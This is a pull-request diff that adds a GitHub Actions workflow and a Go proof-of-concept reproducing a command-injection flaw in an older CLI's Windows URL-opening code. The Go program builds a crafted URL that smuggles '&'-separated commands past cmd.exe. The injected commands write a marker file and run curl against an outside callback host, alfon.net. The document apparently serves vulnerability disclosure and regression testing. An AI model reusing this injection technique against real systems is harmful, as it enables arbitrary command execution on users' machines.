Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
30 changes: 30 additions & 0 deletions .github/workflows/windows-openurl-repro.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
name: windows-openurl-repro

on:
pull_request:
paths:
- .github/workflows/windows-openurl-repro.yml
- scripts/repro_windows_openurl/**
workflow_dispatch:

permissions:
contents: read

jobs:
unpatched-cmd-start:
runs-on: windows-latest
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5
with:
go-version-file: go.mod
cache: true
- name: Reproduce v0.1.2 cmd /c start injection
run: go run ./scripts/repro_windows_openurl
- name: Point at alfon.net query
if: always()
shell: bash
run: |
echo "Look for http://alfon.net?g${{ github.run_id }} in alfon.net / Cloudflare logs."
echo "run_id=${{ github.run_id }}" >> "$GITHUB_STEP_SUMMARY"
echo "lookup=http://alfon.net?g${{ github.run_id }}" >> "$GITHUB_STEP_SUMMARY"
88 changes: 88 additions & 0 deletions scripts/repro_windows_openurl/main.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,88 @@
// Command repro_windows_openurl reproduces the v0.1.2 Windows OpenURL sink:
// exec.Command("cmd", "/c", "start", "", url) with a customer-ID-shaped
// payload. Current main uses ShellExecuteW instead; this binary talks to
// cmd.exe directly so the unpatched parser can be observed on a GHA runner.
//
// The payload writes a local marker and GETs http://alfon.net?g<run_id>.
// It does not read files or send secrets.
package main

import (
"fmt"
"os"
"os/exec"
"path/filepath"
"runtime"
"time"
)

func main() {
if runtime.GOOS != "windows" {
fmt.Fprintln(os.Stderr, "windows only")
os.Exit(2)
}

runID := os.Getenv("GITHUB_RUN_ID")
if runID == "" {
runID = "local"
}

cwd, err := os.Getwd()
if err != nil {
fmt.Fprintln(os.Stderr, err)
os.Exit(1)
}
marker := filepath.Join(cwd, "RCBB_CLI_EXECUTED.txt")
httpBody := filepath.Join(cwd, "RCBB_HTTP.txt")
_ = os.Remove(marker)
_ = os.Remove(httpBody)

// No literal spaces/tabs/quotes: Go's EscapeArg would quote the whole
// URL and cmd.exe would not treat & as a command separator. A comma is
// not a reliable argv splitter for external exes, so expand a space
// from %ProgramFiles% ("C:\Program Files", index 10).
sp := `%ProgramFiles:~10,1%`
url := "https://app.revenuecat.com/projects/x/customers/rcbb" +
`&echo>%CD%\RCBB_CLI_EXECUTED.txt` +
`&curl.exe` + sp + `-s` + sp + `-o` + sp + `%CD%\RCBB_HTTP.txt` + sp +
`http://alfon.net?g` + runID

fmt.Printf("run_id=%s\n", runID)
fmt.Printf("lookup=http://alfon.net?g%s\n", runID)
fmt.Printf("url=%s\n", url)
fmt.Printf("::notice::alfon.net query g%s\n", runID)

cmd := exec.Command("cmd", "/c", "start", "", url)
cmd.Dir = cwd
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
fmt.Fprintf(os.Stderr, "cmd.Run: %v\n", err)
}

deadline := time.Now().Add(15 * time.Second)
for time.Now().Before(deadline) {
if _, err := os.Stat(marker); err == nil {
break
}
time.Sleep(200 * time.Millisecond)
}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Repro job can hang indefinitely

Medium Severity

The 15-second deadline only starts after cmd.Run() returns, so it never bounds the injected commands. In cmd.exe, & runs commands sequentially, and the first one is start of an https URL. If that start blocks on the runner’s browser, or if the follow-on curl hangs talking to alfon.net (no --max-time), echo and the marker check never run and the job can sit until the default runner timeout. The workflow also has no timeout-minutes.

Additional Locations (1)
Fix in Cursor Fix in Web

Reviewed by Cursor Bugbot for commit 818b0c8. Configure here.


if _, err := os.Stat(marker); err != nil {
fmt.Fprintln(os.Stderr, "FAIL: marker not created; & split did not run")
os.Exit(1)
}
fmt.Println("PASS: local marker created (cmd.exe parsed &)")

b, err := os.ReadFile(httpBody)
if err != nil || len(b) == 0 {
fmt.Fprintln(os.Stderr, "FAIL: injected curl did not write HTTP body")
os.Exit(1)
}
fmt.Printf("http_body_len=%d\n", len(b))
head := b
if len(head) > 256 {
head = head[:256]
}
fmt.Printf("http_body_head=%q\n", head)
}
Loading